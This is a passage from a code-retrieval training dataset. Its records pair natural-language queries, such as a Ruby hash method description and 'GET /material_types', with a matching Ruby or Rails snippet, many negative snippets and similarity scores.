"0.6039192",
"0.60388637",
"0.6021706",
"0.6012536",
"0.5997193",
"0.5977696",
"0.5974176",
"0.59725744",
"0.5951533",
"0.594295",
"0.5941159",
"0.58866644",
"0.58789724",
"0.58781403",
"0.5873288",
"0.5870863",
"0.58500844",
"0.583598",
"0.5834747",
"0.58276707",
"0.5827519",
"0.5819603",
"0.5787718",
"0.5738032",
"0.571856",
"0.5700972",
"0.5700681",
"0.56982887",
"0.5687387",
"0.5684131",
"0.5671353",
"0.56683534",
"0.5647683",
"0.56454194",
"0.56331784",
"0.562795",
"0.5619242",
"0.56111497",
"0.56044275",
"0.5584455",
"0.55769956",
"0.55739933",
"0.55739933",
"0.55682397",
"0.55682397",
"0.5564687",
"0.55459034",
"0.5541362",
"0.5540175",
"0.55391335",
"0.5537967",
"0.5531601",
"0.5526559",
"0.5525627",
"0.55156934",
"0.550748",
"0.5493328",
"0.54808635",
"0.5479408",
"0.54709095",
"0.5452006",
"0.545194",
"0.54445267",
"0.54286885",
"0.54277813",
"0.54257005",
"0.54245335",
"0.5424194",
"0.540155",
"0.5399816",
"0.53896934",
"0.5389069",
"0.5388071",
"0.5387372",
"0.53861505",
"0.537797",
"0.5373894",
"0.5373894",
"0.53709704",
"0.53441596",
"0.53406656",
"0.53367114",
"0.5332012",
"0.53255355",
"0.53248376",
"0.5313353"
] |
0.8340534
|
2
|
Returns a hash of this TimeOrDateTime.
|
def hash
@orig.hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n [from, timezone, to].hash\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @timestamp.hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def hash\n utc_offset.hash ^ std_offset.hash ^ abbreviation.hash\n end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\n end",
"def hash\n [day, from, to].hash\n end",
"def hash\n @data.dup.concat([@ts]).hash\n end",
"def hash\r\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\r\n end",
"def hash\n @hash ||= self.to_a.hash\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n self.begin.hash ^ self.end.hash\n end",
"def hash\n [@offset, @previous_offset, @timestamp_value].hash\n end",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def hour\n if @time\n @time.hour\n elsif @datetime\n @datetime.hour\n else\n to_time.hour\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def hash\n return to_s.hash\n end",
"def to_hash() end",
"def hash\n # We don't use metadata because == does not use metadata\n [event_type, event_id, data].hash ^ self.class.hash\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash #:nodoc:\n uuid.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n [class_id, object_type, action, cache_state, cached_time, last_access_time, md5sum, original_sha512sum, path, registered_workflows, used_count, file, network_element].hash\n end",
"def to_hash\n @hash\n end",
"def hash\n [self.class, to_s].hash\n end",
"def get_key_for(time)\n \"#{time.year}/#{time.month}/#{time.day}/#{time.hour}\"\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def to_time\n self\n end",
"def creation_time # :nodoc:\n @creation_time.dup\n end",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def hash\n [self.class, to_s].hash\n end",
"def hash\n to_a.hash\n end",
"def to_hash\n @_hash_\n end",
"def hash\n to_s.hash\n end",
"def hash\n guid.hash\n end",
"def to_hash\n return self\n end",
"def hash\n offset.hash\n end",
"def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"def to_hash\n hsh = {\n id: id,\n status: status.to_sym,\n connect: running? ? connect.to_h : nil,\n time: info.wallclock_time.to_i / 60 # only update every minute\n }\n Digest::SHA1.hexdigest(hsh.to_json)\n end",
"def as_hash\n as_json.with_indifferent_access.tap do |rec|\n rec.transform_values! do |value|\n if value.is_a?(Time) || value.is_a?(DateTime)\n ymdhms = value.utc.strftime(\"%Y-%m-%d %H:%M:%S\")\n subseconds = value.utc.strftime(\".%6N\").to_f.to_s.sub(/^0\\./, \"\")\n \"#{ymdhms}.#{subseconds}\"\n else\n value.as_json\n end\n end\n end\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def hash\n value_id.hash\n end",
"def hash\n @vbits.hash\n end",
"def hash\n bytes.hash\n end",
"def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end",
"def hash\n @__set.to_a.hash\n end",
"def __mongoize_time__\n self\n end",
"def to_hash\n {\n :time => @time,\n :event => @event\n }\n end",
"def to_hash\n if @hours and @mins and @hours.length == @mins.length and @mins.length > 1\n [@hours, @mins].transpose.collect do |hour, min|\n cron_hash hour, min\n end\n else\n cron_hash\n end\n end",
"def to_time()\n #This is a stub, used for indexing\n end",
"def hash\n [duration, rrule, start].hash\n end",
"def hash\n [@bit, @type].hash\n end",
"def hash\n @value.hash\n end",
"def hash\n self.class.hash ^ @ns.hash\n end",
"def hash\n return @id.hash\n end",
"def timestamp\n _timestamp.as_time\n end",
"def typecast_hash_to_time(value)\n Time.utc(*extract_time(value))\n end",
"def to_hash\n @hash.dup\n end",
"def to_time\r\n hsh = {:year => Time.now.year, :month => Time.now.month, :day => Time.now.day,\r\n :hour => Time.now.hour, :minute => Time.now.minute, :second => Time.now.second,\r\n :usec => Time.now.usec, :ampm => \"\" }\r\n hsh = hsh.update(self.symbolize_keys)\r\n [:year, :month, :day, :hour, :minute, :second, :usec].each {|key| hsh[key] = hsh[key].to_i }\r\n hsh[:hour] = 0 if hsh[:ampm].downcase == \"am\" && hsh[:hour] == 12\r\n hsh[:hour] += 12 if hsh[:ampm].downcase == \"pm\" && hsh[:hour] != 12\r\n Time.local(hsh[:year], hsh[:month], hsh[:day], hsh[:hour], hsh[:minute], hsh[:second], hsh[:usec])\r\n end",
"def hash\n self.respond_to?(:id) && self.id ? self.id.to_i : self.to_hash.hash\n end",
"def hash\n @id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n @type.hash\n end",
"def time_date_hm ; time_date && time_date.strftime(\"%H:%M\") ; end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def time_hour; Time.now.hour; end",
"def as_hash\n @hash\n end",
"def hash\n value.hash\n end",
"def hash\n [self[0], self[1]].hash\n end",
"def hash\n @hash.hash\n end",
"def typecast_hash_to_time(hash)\n Time.local(*extract_time(hash))\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n [from_ts, group_by, groups, monitors, overall, series, thresholds, to_ts, type, type_id].hash\n end",
"def to_hash\n @_hash.dup\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n @hash\n end",
"def timestamp\n _timestamp.as_time\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n data.hash\n end",
"def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"def hash\r\n id.hash\r\n end"
] |
[
"0.6590694",
"0.6563607",
"0.6512761",
"0.64564234",
"0.63568693",
"0.63340944",
"0.6326574",
"0.6311776",
"0.6277731",
"0.6223044",
"0.6218659",
"0.61133474",
"0.6111339",
"0.60458195",
"0.6023672",
"0.6015677",
"0.6015677",
"0.6015677",
"0.6003562",
"0.6003562",
"0.59888023",
"0.5953307",
"0.590325",
"0.58909154",
"0.5869414",
"0.5860053",
"0.58598083",
"0.5840992",
"0.5827936",
"0.582783",
"0.58255374",
"0.58100724",
"0.58100724",
"0.58100724",
"0.580843",
"0.580843",
"0.58081645",
"0.580728",
"0.57929295",
"0.57745373",
"0.57737577",
"0.5769147",
"0.5758625",
"0.57389253",
"0.5732188",
"0.5730608",
"0.5730128",
"0.5728941",
"0.56568927",
"0.5656144",
"0.5654054",
"0.56343895",
"0.5628868",
"0.56269",
"0.5622938",
"0.56192625",
"0.5612203",
"0.5610614",
"0.56009126",
"0.55894125",
"0.55788165",
"0.5574932",
"0.55736494",
"0.55716157",
"0.5565742",
"0.5561145",
"0.55558693",
"0.55530757",
"0.5551721",
"0.55445504",
"0.5538277",
"0.5537074",
"0.5525132",
"0.5524138",
"0.5523548",
"0.5517172",
"0.55139726",
"0.55078125",
"0.55043197",
"0.55041826",
"0.54833215",
"0.5482541",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.548163",
"0.54805887",
"0.54780656",
"0.5477973",
"0.54660654",
"0.5460897",
"0.5460713",
"0.54600716",
"0.5458073",
"0.5446128",
"0.544514"
] |
0.0
|
-1
|
GET /material_types GET /material_types.json
|
def index
@material_types = MaterialType.all
render json: @material_types
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_material_types\n METADATA_RELATIONS_CONFIG['material_types']\n end",
"def index\n @material_types = MaterialType.all\n end",
"def show\n render json: @material_type\n end",
"def material_type\n attributes['material_type']\n end",
"def material_type\n attributes['material_type']\n end",
"def index\n @mtypes = Mtype.order(:code)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mtypes }\n end\n end",
"def create\n @material_type = MaterialType.new(material_type_params)\n\n if @material_type.save\n render json: @material_type, status: :created, location: @material_type\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name)\n end",
"def material_type_params\n params.require(:material_type).permit(:name_material_type, :desc_material_type)\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def index\n @material_categories = MaterialCategory.all\n @material_categories = @material_categories.where(oftype: MaterialCategory.oftypes[params[:oftype]]) if params[:oftype].present?\n end",
"def select_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n hide_notifications_bar\n prep_fieldsets_for_test_data([fieldset(CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n logger.info \"Entering material type data set at index #{index}: #{type}\"\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[CoreUseOfCollectionsData::MATERIAL_TYPE.name])\n end\n end",
"def verify_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[UseOfCollections::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def verify_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n types.each_with_index { |type, index| verify_values_match(type[CoreUseOfCollectionsData::MATERIAL_TYPE.name], element_value(material_type_input index)) }\n end",
"def get_lesson_types\n get \"lessonTypes.json\"\n end",
"def select_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n prep_fieldsets_for_test_data([fieldset(UseOfCollections::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[UseOfCollections::MATERIAL_TYPE.name])\n end\n end",
"def show\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mtype }\n end\n end",
"def create\n @material_type = MaterialType.new(material_type_params)\n\n respond_to do |format|\n if @material_type.save\n format.html { redirect_to @material_type, notice: 'Material type was successfully created.' }\n format.json { render :show, status: :created, location: @material_type }\n else\n format.html { render :new }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\r\n @tipo_materials = TipoMaterial.all\r\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def get_material_type_facets\n @get_material_type_facets ||= clean_facets_array(search(\"//genreform\").map(&:text))\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def show\n respond_to do |format|\n format.json\n format.json_api { render json: @material }\n format.html\n end\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def update\n @material_type = MaterialType.find(params[:id])\n\n if @material_type.update(material_type_params)\n head :no_content\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def retrieve_materials(materials)\n return unless materials.present?\n\n show do\n title 'Retrieve Materials'\n note 'Please get the following items'\n table create_location_table(materials)\n end\n end",
"def show\n @material = Material.find(params[:id])\n #TODO: improve visual style of material.show page\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def index\n @materials = Material.all\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def index\n if params[:part_id]\n @materials = Material.find(:all, :conditions => [\"part_id = ?\", params[:part_id]])\n else\n @materials = Material.all\n end\n respond_to do |format|\n format.html\n format.json { render :json => @materials }\n end\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def update\n respond_to do |format|\n if @material_type.update(material_type_params)\n format.html { redirect_to @material_type, notice: 'Material type was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_type }\n else\n format.html { render :edit }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_material\n begin\n @material = type.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to materials_path, alert: \"Could not find #{type.name.split(':').last} with ID #{params[:id]}!\"\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @materials = Material.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @materials }\n end\n end",
"def index\n @material_items = MaterialItem.all\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n @items_materials = ItemMaterial.all\n end",
"def types\n @client.make_request :get, reports_path\n end",
"def index\n @typegroups = Typegroup.all\n respond_to do |format|\n format.html\n format.json { render json: @typegroups }\n end\n end",
"def index\n render json: usage(params[:type])\n end",
"def materials\n @materials ||= materials_data[]\n .map { |material|\n { title: material[\"bib_data\"][\"title\"],\n barcode: barcode(material),\n call_number: material[\"holding_data\"][\"call_number\"],\n library: library_name_from_short_code(material.library),\n location: materials_location(material),\n raw_library: material[\"item_data\"][\"library\"][\"value\"],\n raw_location: material[\"item_data\"][\"location\"][\"value\"],\n availability: availability_status(material) }\n .with_indifferent_access }\n .uniq { |material| material.except(:barcode) }\n end",
"def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end",
"def index\n if params[:name].nil?\n @materials = Material.search(current_user.organization.id, params[:term])\n else\n @materials = Material.search(current_user.organization.id, params[:name])\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n if params[:name].nil?\n render json: @materials.map(&:name)\n else\n render json: @materials\n end\n\n }\n end\n end",
"def index\n @material_categories = MaterialCategory.all\n \n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @typegroup }\n end\n end",
"def destroy\n @material_type.destroy\n respond_to do |format|\n format.html { redirect_to material_types_url, notice: 'Material type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @admin_media_types = Admin::MediaType.all\n end",
"def set_tipo_material\r\n @tipo_material = TipoMaterial.find(params[:id])\r\n end",
"def index\n @student_types = StudentType.all\n\n render json: @student_types\n end",
"def index\n @types = Type.all\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index\n @types = ItemType.all\n end",
"def index\n @base_materials = BaseMaterial.all\n end",
"def index\n @raw_material_items = RawMaterialItem.all\n end",
"def getMetadatatypes\n \n @queryparams = params\n \n # Get all metadatatypes\n @results = MetadataType.find(:all, :order => \"updated_at ASC\" )\n \n if params[:format] && params[:format]== \"json\" || params[:format] == \"yaml\"\n @yaml_results = {}\n @results.each do |result|\n @yaml_results.merge!({result.name => result.value_type})\n end\n \n end\n \n # host parameter, needed when creating atom-feed\n if request.ssl?\n @host = \"https://#{request.host}\"\n else\n @host = \"http://#{request.host}\"\n end\n\n if request.port != nil and request.port != 80\n @host += \":#{request.port}\"\n end \n \n # Create atom feed\n @host = @@http_host\n respond_to do |format|\n if @queryparams[:format] == nil\n format.html {render :getmetadatatypes, :layout=>true }\n else\n format.html {render :getmetadatatypes, :layout=>true }\n format.atom {render :getmetadatatypes, :layout=>false }\n format.yaml {render :text => YAML.dump(@yaml_results), :layout=>false }\n format.json {render :text => JSON.dump(@yaml_results), :layout=>false }\n end\n end\n end",
"def index\n @weapons_types = WeaponsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weapons_types }\n end\n end",
"def index\n @materials = Material.joins(:images).group(\"#{Material.table_name}.id\").having(\"COUNT(#{Image.table_name}.id) > 0\").order(\"`materials`.`blend_updated_at` DESC\").paginate(:page => params[:page])\n\n #TODO: sort materials by number of downloads, rating, etc.\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @materials }\n end\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end",
"def show\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_mkb_type }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end",
"def show\n @project = Project.find(params[:project_id])\n @material_usage = @project.material_usages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material_usage }\n end\n end",
"def material_use\n materials = []\n materials\n end",
"def show\n @manifestation_type = ManifestationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manifestation_type }\n end\n end",
"def index\n @modtypes = Modtype.all\n end",
"def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n format.js\n end\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def new\n @mtype = Mtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtype }\n end\n end",
"def index\n @identifier_types = IdentifierType.order(:position).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @identifier_types }\n end\n end",
"def show\n @hardware_type = HardwareType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hardware_type }\n end\n end",
"def index\n @entry_types = EntryType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entry_types }\n end\n end",
"def search\n @material = Material.search(current_user.organization.id, params[:name])\n respond_to do |format|\n format.jason { randar jason: @material }\n end\n end",
"def show\n @material_list = MaterialList.find(params[:id])\n end",
"def show\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_med_diagnostic_test_type }\n end\n end",
"def type\n @json['type']\n end",
"def index\n types = @user.tried_beer_ratings.last.beer_types.map do |type|\n {name: type.name, description: type.beg_description}\n end\n render json: types\n end",
"def index\n @user_materials = UserMaterial.all\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def index\n @equipament_types = EquipamentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @equipament_types }\n end\n end",
"def index\n @recipe_types = RecipeType.all\n end",
"def index\n authorize @thing, :get_types?\n @thing_types = @thing.thing_types\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def show\n @media_type = MediaType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @media_type }\n end\n end",
"def index\n @title = \"Типы лечения\"\n @treatment_types = TreatmentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treatment_types }\n end\n end",
"def create\n @material = Material.new(params[:material])\n\n respond_to do |format|\n if @material.save\n format.html { redirect_to @material, notice: 'Material was successfully created.' }\n format.json { render json: @material, status: :created, location: @material }\n else\n format.html { render action: \"new\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ftypes = Ftype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ftypes }\n end\n end",
"def create\n\n @material = Material.new(material_params)\n\n if @material.save\n render :show, status: :created, location: @material\n else\n render json: @material.errors, status: :unprocessable_entity\n end\n end",
"def index\n @contact_medium_types = ContactMediumType.all\n end"
] |
[
"0.7732913",
"0.77025366",
"0.7340212",
"0.690191",
"0.690191",
"0.67517513",
"0.66524297",
"0.6605872",
"0.6575561",
"0.65139145",
"0.65139145",
"0.64771396",
"0.6476055",
"0.64550173",
"0.64060456",
"0.6405289",
"0.63991386",
"0.63899934",
"0.63739705",
"0.6340566",
"0.63359517",
"0.63359517",
"0.62746805",
"0.62722516",
"0.618678",
"0.6182631",
"0.6173698",
"0.6151201",
"0.6128176",
"0.6087333",
"0.6083235",
"0.6083235",
"0.6083235",
"0.60824513",
"0.607789",
"0.60686547",
"0.6048152",
"0.6044142",
"0.6012606",
"0.5948271",
"0.5944418",
"0.5921379",
"0.5921379",
"0.59141344",
"0.59004444",
"0.5890465",
"0.58861125",
"0.5854854",
"0.5852191",
"0.58332855",
"0.58318156",
"0.5828081",
"0.5827204",
"0.5819813",
"0.58095527",
"0.5805888",
"0.58018786",
"0.5778089",
"0.57684875",
"0.57655525",
"0.5756472",
"0.5742328",
"0.57272965",
"0.57107687",
"0.5699804",
"0.5694112",
"0.5689023",
"0.5685862",
"0.5678354",
"0.56720555",
"0.5666466",
"0.5656181",
"0.5646744",
"0.5629178",
"0.5626908",
"0.56258535",
"0.5625195",
"0.56177455",
"0.5604202",
"0.55953526",
"0.5592329",
"0.5588646",
"0.5587085",
"0.55807155",
"0.556312",
"0.55606514",
"0.5551055",
"0.5548813",
"0.5548504",
"0.55472714",
"0.55459946",
"0.5530737",
"0.55256456",
"0.55142915",
"0.5507251",
"0.5503409",
"0.5502545",
"0.5499712",
"0.5491739",
"0.54909056"
] |
0.8057425
|
0
|
GET /material_types/1 GET /material_types/1.json
|
def show
render json: @material_type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @material_types = MaterialType.all\n\n render json: @material_types\n end",
"def index\n @material_types = MaterialType.all\n end",
"def get_material_types\n METADATA_RELATIONS_CONFIG['material_types']\n end",
"def material_type\n attributes['material_type']\n end",
"def material_type\n attributes['material_type']\n end",
"def create\n @material_type = MaterialType.new(material_type_params)\n\n if @material_type.save\n render json: @material_type, status: :created, location: @material_type\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def show\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mtype }\n end\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def update\n @material_type = MaterialType.find(params[:id])\n\n if @material_type.update(material_type_params)\n head :no_content\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @material_type = MaterialType.new(material_type_params)\n\n respond_to do |format|\n if @material_type.save\n format.html { redirect_to @material_type, notice: 'Material type was successfully created.' }\n format.json { render :show, status: :created, location: @material_type }\n else\n format.html { render :new }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @material = Material.find(params[:id])\n #TODO: improve visual style of material.show page\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @material }\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name)\n end",
"def show\n respond_to do |format|\n format.json\n format.json_api { render json: @material }\n format.html\n end\n end",
"def index\n @mtypes = Mtype.order(:code)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mtypes }\n end\n end",
"def set_material\n begin\n @material = type.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to materials_path, alert: \"Could not find #{type.name.split(':').last} with ID #{params[:id]}!\"\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @material }\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name_material_type, :desc_material_type)\n end",
"def update\n respond_to do |format|\n if @material_type.update(material_type_params)\n format.html { redirect_to @material_type, notice: 'Material type was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_type }\n else\n format.html { render :edit }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\r\n @tipo_materials = TipoMaterial.all\r\n end",
"def index\n @material_categories = MaterialCategory.all\n @material_categories = @material_categories.where(oftype: MaterialCategory.oftypes[params[:oftype]]) if params[:oftype].present?\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def index\n if params[:part_id]\n @materials = Material.find(:all, :conditions => [\"part_id = ?\", params[:part_id]])\n else\n @materials = Material.all\n end\n respond_to do |format|\n format.html\n format.json { render :json => @materials }\n end\n end",
"def index\n @materials = Material.all\n end",
"def set_tipo_material\r\n @tipo_material = TipoMaterial.find(params[:id])\r\n end",
"def show\n @manifestation_type = ManifestationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manifestation_type }\n end\n end",
"def show\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_mkb_type }\n end\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def index\n @materials = Material.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @materials }\n end\n end",
"def destroy\n @material_type.destroy\n respond_to do |format|\n format.html { redirect_to material_types_url, notice: 'Material type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
